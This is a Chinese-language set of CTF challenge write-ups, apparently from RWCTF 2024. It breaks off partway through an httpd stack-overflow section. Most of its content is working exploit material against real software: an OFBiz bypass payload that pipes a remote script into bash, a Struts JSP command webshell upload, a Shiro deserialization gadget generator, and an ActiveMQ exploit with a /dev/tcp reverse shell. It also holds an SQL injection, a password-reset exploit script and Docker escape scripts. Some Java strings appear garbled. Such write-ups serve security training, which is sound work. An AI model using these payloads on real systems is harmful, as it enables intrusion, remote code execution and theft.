Clone-and-Pwn, difficulty:Baby
由于提供了附件,可以使用如下命令在本地启动一个服务
docker build . -t rwctf:be-a-framework-hacker
docker run --rm -p 8443:8443 rwctf:be-a-framework-hacker
这题主要考察的漏洞是CVE-2023-51467,通过?USERNAME=&PASSWORD=&requirePasswordChange=Y绕过鉴权。绕过鉴权之后可以执行 groovy 表达式, 这里使用的是 groovy 的 “”.execute()语法来执行命令,绕过沙箱,具体 payload 如下
POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
groovyProgram=["sh","-c","curl http://igr3yxom.requestrepo.com | bash"].execute()
这里使用的 https://requestrepo.com/ 服务来控制回显,回显内容如下
curl http://requestrepo.com/igr3yxom/ --data $(/readflag)
Web, difficulty:Baby
这里考察的是 s2-066 ,提供了附件下载下来之后,可以进行代码审计
在 be.more.elegant.filter.JspFilter#doFilter 中限制了 jsp 访问路径只能是 /view 开头的,其他路由的 jsp 是无法访问的。
be.more.elegant.HeaderIconAction#doUpload这个方法对应的路由是/upload.action,
由于 s2 的限制,正常上传的文件名是无法包含 .. 的。所以我们通过 s2 066 这个漏洞,由于 s2 对于大小不敏感,所以我们可以使用如下 payload 去对 fileUploadFileName 进行二次赋值,让实际的 fileUploadFileName 内容为 ../../../views/a.jsp ,这样就可以通过跨目录写 jsp 到 views 目录下。
ps: 这里要注意在使用这个包之前需要上传一个正常的文件,保证 md5 的目录可以创建出来。因为 ../ 在 linux 系统下是无法跳到一个不存在的目录的。
POST /upload.action;jsessionid=D2DF7842CD2DEA1BE82A7300A134F655 HTTP/1.1
User-Agent: PostmanRuntime/7.36.1
Accept: */*
Host: 192.168.144.1:8081
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------319187937788325310215959
Content-Length: 1737
----------------------------319187937788325310215959
Content-Disposition: form-data; name="FileUpload"; filename="a.jsp"
Content-Type: application/octet-stream
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<!DOCTYPE html>
<html>
<head>
<title>Command Execution</title>
</head>
<body>
<%
String command = request.getParameter("a");
if (command != null && !command.isEmpty()) {
String output = "";
try {
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output += line + "<br>";
}
reader.close();
int exitCode = process.waitFor();
if (exitCode != 0) {
output += "Command execution failed with exit code: " + exitCode;
}
} catch (IOException | InterruptedException e) {
output += "Error executing command: " + e.getMessage();
}
out.println("<p>Executed command: " + command + "</p>");
out.println("<p>Output:</p>");
out.println("<pre>" + output + "</pre>");
} else {
out.println("<p>No command provided.</p>");
}
%>
</body>
</html>
----------------------------319187937788325310215959
Content-Disposition: form-data; name="fileUploadFileName"
../../../views/a.jsp
----------------------------319187937788325310215959--
Web, difficulty:Normal
使用以下 docker-compose 文件搭建
version: '3.3'
services:
nginx:
image: nginx:1.20.1
ports:
- "0.0.0.0:8888:8888"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
networks:
- internal_network
- out_network
backend:
build:
context: ./backend
dockerfile: Dockerfile
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default
其中 nginx 主要是将 java 的端口代理出来,里面的 backend 服务是一个 shiro550 的漏洞环境,配置为不出网。
首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000
由于目标配置的是不出网的场景,因此我们需要考虑使用不出网的手法来进行 RCE,且 cookie 不能太大。
如果使用网上的工具基本上 cookie 都会大于 3k
可以参考这两篇文章
https://xz.aliyun.com/t/6227
稍微处理一下 template 的构造方式就可以了,poc 如下
package org.example;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.objectweb.asm.*;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[ ] args) throws Exception {
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String javaCode = "Object attr = java.lang.Class.forName("org.springframework.web.context.request.RequestContextHolder").getMethod("currentRequestAttributes", new java.lang.Class[ ]{}).invoke(null,null);" +
"Object resp = attr.getClass().getMethod("getResponse", null).invoke(attr, null);" +
"String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag", new java.lang.String[ ]{})));" +
"resp.getClass().getMethod("addHeader", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{"r", flag});";
Object cbGadget = getCbGadget(javaCode);
byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);
String s = doShiroEncryption(cbGadgetBytes, key);
System.out.println("Cookie length: " + s.length());
System.out.println("Cookie is: " + s);
}
public static byte[ ] base64Decode(String key) {
return Base64.getDecoder().decode(key);
}
public static String base64Encode(byte[ ] key) {
return Base64.getEncoder().encodeToString(key);
}
public static String urlEncode(String key) throws UnsupportedEncodingException {
return URLEncoder.encode(key, "UTF-8");
}
public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
byte[ ] key = base64Decode(keyInBase64);
byte[ ] iv = generateRandomIv();
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
Key keySpec = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[ ] encrypted = cipher.doFinal(content);
byte[ ] cipherText = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, cipherText, 0, iv.length);
System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);
return base64Encode(cipherText);
}
private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {
byte[ ] iv = new byte[16];
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.nextBytes(iv);
return iv;
}
public static Object getCbGadget(String javaCode) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(javaCode);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static class Serialization {
public static byte[ ] serialize(Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(Object obj, OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
public static class Gadgets {
public static Object createTemplatesImpl(final String command) throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.makeClass("StubTransletPayload");
clazz.makeClassInitializer().insertAfter(javaCode);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[ ] classBytes = clazz.toBytecode();
// inject class bytes into instance
classBytes = shortenClassBytes(classBytes);
byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));
Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "1");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
public static class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[ ] classAsBytes(final Class<?> clazz) {
try {
final byte[ ] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class Reflections {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
public static byte[ ] shortenClassBytes(byte[ ] classBytes) {
ClassReader cr = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM7;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[ ] out = cw.toByteArray();
return out;
}
public static class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
}
pom.xml 如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>OldShiroSolution</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-tree</artifactId>
<version>7.3.1</version>
</dependency>
</dependencies>
</project>
发包如下
GET /doLogin HTTP/1.1
Host: 121.40.80.33:8888
Cookie: rememberMe_rwctf_2024=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
Upgrade-Insecure-Requests: 1
Clone-and-Pwn, difficulty:Baby
环境搭建
使用以下 docker-compose 文件搭建环境
version: '3.3'
services:
activemq:
container_name: activemq
ports:
- '61616:61616'
image: lewinc/activemq:5.18.2
解题
使用 CVE-2023-46604 进行攻击即可,使用 org.springframework.context.support.ClassPathXmlApplicationContext
java 脚本如下
package exps;
import java.io.*;
import java.net.Socket;
public class ActiveMqThrowableExp {
public static void main(String[ ] args) throws IOException {
String ip = "target-ip-address";
int port = 61616;
String remoteXmlUrl = "http://your-http-server:9999/evil.xml";
Socket sck = new Socket(ip, port);
DataOutputStream out = null;
DataInputStream in = null;
out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));
out.writeInt(32);
out.writeByte(31);
out.writeInt(1);
out.writeBoolean(true);
out.writeInt(1);
out.writeBoolean(true);
out.writeBoolean(true);
out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");
out.writeBoolean(true);
out.writeUTF(remoteXmlUrl);
out.close();
in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));
OutputStream os = sck.getOutputStream();
int length = in.available();
byte[ ] buf = new byte[length];
in.readFully(buf);
os.write(buf);
in.close();
sck.close();
File file = new File("test.txt");
file.delete();
}
}
然后在恶意服务器上分别启动一个 nc 用来收反弹 shell,另一个启动 http 服务用来提供 xml,注意下面的 value 是 html entity 编码后的,可以解码后替换为接受 shell 的 ip 和端口即可收到反弹shell
提供的 xml 如下
注意需要修改实体编码中的localhost为你的接收端主机
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>
/bin/bash -i >& /dev/tcp/localhost/9999 0>&1
</value>
</list>
</constructor-arg>
</bean>
</beans>
远程收到shell,获取flag
Web, difficulty:Baby
使用 N 的方法绕过内置过滤,读取 flag 表中的 flag_value 字段:
/tags.php?/alias/aaaaaaa%27||+1=Nunion+select+1,flag_value,3,4,5,6,7,8,0,10,11+from+flag+where+1=%271
Web, difficulty:Normal
这个题目在首页提供了部分的源码,可以看出来是 django 的 wagtail 框架。主要是一个允许重置密码的功能,这里可以通过验证码得到其路由是/captcha/image/566babcf709fa2482d8dec2b71fd930474c8b34c/对此比较敏感的同学可以想到这个是一个 django 的验证码依赖 django-simple-captcha
通过信息搜集可以知道管理员的邮箱是[email protected],图片的 seed 为566babcf709fa2482d8dec2b71fd930474c8b34c ,图片的 size 为 78 x 31
这个题目可以看作是 JumpserverCVE-2023-42820Lite 版本
ps: 这里需要对下面的脚本里面的 CAPTCHA_IMAGE_SIZE 进行修改,将其改成图片的大小
命令如下
python .run.py -t http://121.40.246.97:39968/ --name admin --email admin@rwctf.game --seed 566babcf709fa2482d8dec2b71fd930474c8b34c --cscookie 60D8JJuDvGCCauRifigL5ycFXR1NPPd3 --cstoken pWB0Zc9JkmV9KrLzEjDpG9KzUME1OkLYlM4YyLtcFSnBKLsHJrJ0BxM4HtvEtZOR
脚本:
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'
import requests_html
import urllib3
urllib3.disable_warnings()
session = requests_html.HTMLSession()
session.headers = {
"Connection": "close",
"Cache-Control": "max-age=0",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.30 Safari/537.36",
"Accept-Encoding": "deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
}
session.verify = False
session.proxies = {
'http':"http://127.0.0.1:48080",
'https': "http://127.0.0.1:48080",
}
def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
args_names = ['lower', 'upper', 'digit', 'special_char']
args_values = [lower, upper, digit, special_char]
args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]
args_string_map = dict(zip(args_names, args_string))
kwargs = dict(zip(args_names, args_values))
kwargs_keys = list(kwargs.keys())
kwargs_values = list(kwargs.values())
args_true_count = len([i for i in kwargs_values if i])
assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
can_startswith_special_char = args_true_count == 1 and special_char
chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
while True:
password = list(random.choice(chars) for i in range(length))
for k, v in kwargs.items():
if v and not (set(password) & set(args_string_map[k])):
# 没有包含指定的字符, retry
break
else:
if not can_startswith_special_char and password[0] in args_string_map['special_char']:
# 首位不能为特殊字符, retry
continue
else:
# 满足要求终止 while 循环
break
password = ''.join(password)
return password
def nop_random(seed: str):
CAPTCHA_IMAGE_SIZE = (78, 31) # Change This
size = CAPTCHA_IMAGE_SIZE
random.seed(seed)
for i in range(4):
random.randrange(-35, 35,1)
for p in range(int(size[0] * size[1] * 0.1)):
random.randint(0, size[0])
random.randint(0, size[1])
def fix_seed(target: str, seed: str):
def _request(i: int, u: str):
logging.info('send %d request to %s', i, u)
response = session.get(u, timeout=5)
assert response.status_code == 200
assert response.headers['Content-Type'] == 'image/png'
url = urljoin(target, '/captcha/image/' + seed + '/')
for idx in range(0,1):
_request(idx, url)
def send_code(target: str, name:str,email: str,args):
url = urljoin(target, "/reset-password/" )
session.headers['Cookie'] ="csrftoken="+args.cscookie
response = session.post(url, data={
'email': email,
'username': name,
'csrfmiddlewaretoken': args.cstoken,
}, allow_redirects=False,headers=session.headers)
assert response.status_code == 200
logging.info("send code headers: %r response: %r", response.headers, response.text)
def do_setup_password(target: str):
url = urljoin(target, "/do-reset-password/" )
response = session.get(url,allow_redirects=False)
logging.info("send code headers: %r response: %r", response.headers, response.text)
def main(target: str,name:str, email: str, seed: str,args):
fix_seed(target, seed)
nop_random(seed)
send_code(target, name,email,args)
do_setup_password(target)
code = random_string(6, lower=False, upper=False)
print(code)
# logging.info("your code is %s", code)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-t', '--target', type=str, required=True, help='target url')
parser.add_argument('--name', type=str, required=True, help='account name')
parser.add_argument('--email', type=str, required=True, help='account email')
parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')
parser.add_argument('--cscookie', type=str, required=True, help='csrf cookie')
parser.add_argument('--cstoken', type=str, required=True, help='csrf token')
args = parser.parse_args()
main(args.target,args.name, args.email, args.seed,args)
这里可以得到验证码为: 788593
使用重置好的密码进行登录,即可在后台获取flag
Web, difficulty:Baby
直接使用 jenkins-cli 利用即可:
java -jar jenkins-cli.jar -s http://xxxx/ -http who-am-i “@/flag”
Pwn, difficulty:Normal
这个题目的出题思路来自于:https://www.anquanke.com/post/id/290540 这篇文章。选手成功通过 ssh 成功连接上环境后,会发现这是一个容器环境,而且通过 ps -aux
命令能看到这个容器的启动命令:
1000 1113 0.0 0.0 6188 992 pts/0 S+ 06:25 0:00 sleep 10000
1000 1114 0.0 2.3 1180376 23264 pts/0 Sl+ 06:25 0:00 docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash
可以发现该容器共享了 pid, 因此能通过 ps命令看到容器外的进程。此外还有一个 uid 为 1000 的 sleep 进程。 预期解法如下:
#!/bin/sh
pid=$(pidof sleep)
useradd -u 1000 user
su user -c "cat /proc/$pid/root/flag1"
创建一个 uid 为 1000 的用户, 然后通过读 sleep 进程下的 /proc/$PID/root 的文件就能读到 flag。
Misc, difficulty:Baby
当成功获取 Be-a-Docker-Escaper-4的容器外权限后, 我们可以先把权限提升到root, 通过题目描述,我们需要找到 user这个用户的密码。 最终可以在 cloud init的目录下找到 user-data.txt里面存储了 cloud init的配置文件, 能找到一个明文密码, 完整的利用如下:
#!/bin/sh
apt update
apt install docker.io
pid=$(pidof sleep)
groupadd -g 1001 user
useradd -m -g 1001 -u 1000 user
groupadd -g 1000 docker # modify /etc/group
# root@e2bbe4774805:/# cat /etc/group | grep docker
# docker:x:1000:user
usermod -aG docker user
su user -c "cat /proc/$pid/root/flag1"
su user
pid=$(pidof sleep)
docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash
# docker -H unix:///proc/$pid/root/run/docker.sock ps -a
# ---- The commands running in the privileged container are as follows ----
# mkdir /tmp/a
# mount /dev/sda1 /tmp/a
# chmod 777 /tmp/a/var/lib/cloud/instances/*/user-data.txt
# cat /tmp/a/var/lib/cloud/instances/*/user-data.txt |grep rwctf
Pwn, difficulty:Baby
连上之后会发现这是一个 Restricted shell , 其支持的命令有如下:
ping, uname, pwd, date, whoami, poweroff, id, showKey, openthedoor
预期的题目解法是通过逆向发现, 判断是否合法的命令的时候的代码如下:
len = strlen(s2);
if ( len )
{
v7 = 0;
v10 = support_command_list[0];
while ( strncmp(v10, s2, len) )
{
v10 = support_command_list[++v7];
if ( !support_command_list[v7] )
{
strcpy(a2, "Not Support 4. n");
return __readfsqword(0x28u) ^ v23;
}
}
其中 s2 是用户的输入, 因此会发现strncmp的第三个参数也是用户可控的,因此这里有个经典的截断问题。当我们输入 sh的时候, 会出现这样的情况: strncmp(“showKey”, “sh”, 2), 因此我们可以通过如下的方法获取 flag
sh -c “cat ./flag”
此外我们发现有些选手用了 date -f /flag 的方法读到了 flag。
Pwn, difficulty:Normal
这个题目直接使用了开源代码https://github.com/bnlf/httpd/。这份代码存在至少两个漏洞:
1. 跨目录读取文件。攻击者传入的文件路径未做任何处理直接拼接,通过../可以实现任意文件读取。因为权限问题该漏洞不能直接读取flag,但可以被用来读取/proc/[httpd-pid]/maps实现信息泄露。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69
strcpy(fileBuffer, WWW_ROOT);
// Arquivo do request
if(req.uri) {
strcat(fileBuffer, req.uri);
}
// Se terminado em /, abre o arquivo padrao
if(strcmp(&fileBuffer[strlen(fileBuffer)-1], "/") == 0) {
strcat(fileBuffer,"index.html");
}
// Verifica se arquivo existe no servidor
if(stat(fileBuffer, &st) == -1) {
res.status = 404; // File not Found
res.fileName = "404.html";
} else {
res.status = 200; // ok
res.fileName = fileBuffer;
}
2. 栈溢出。以下代码的while循环会将HTTP body中的键值对按照<tr><td>%s</td>和<td>%s</td></tr>的格式进行扩展,然后拷贝到栈上固定长度(MAXLINE)的缓冲区中。这里虽然原始输入的长度不能超过MAXLINE,但多次循环、经过扩展后最终的长度可以超过MAXLINE,发生栈溢出。
// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183
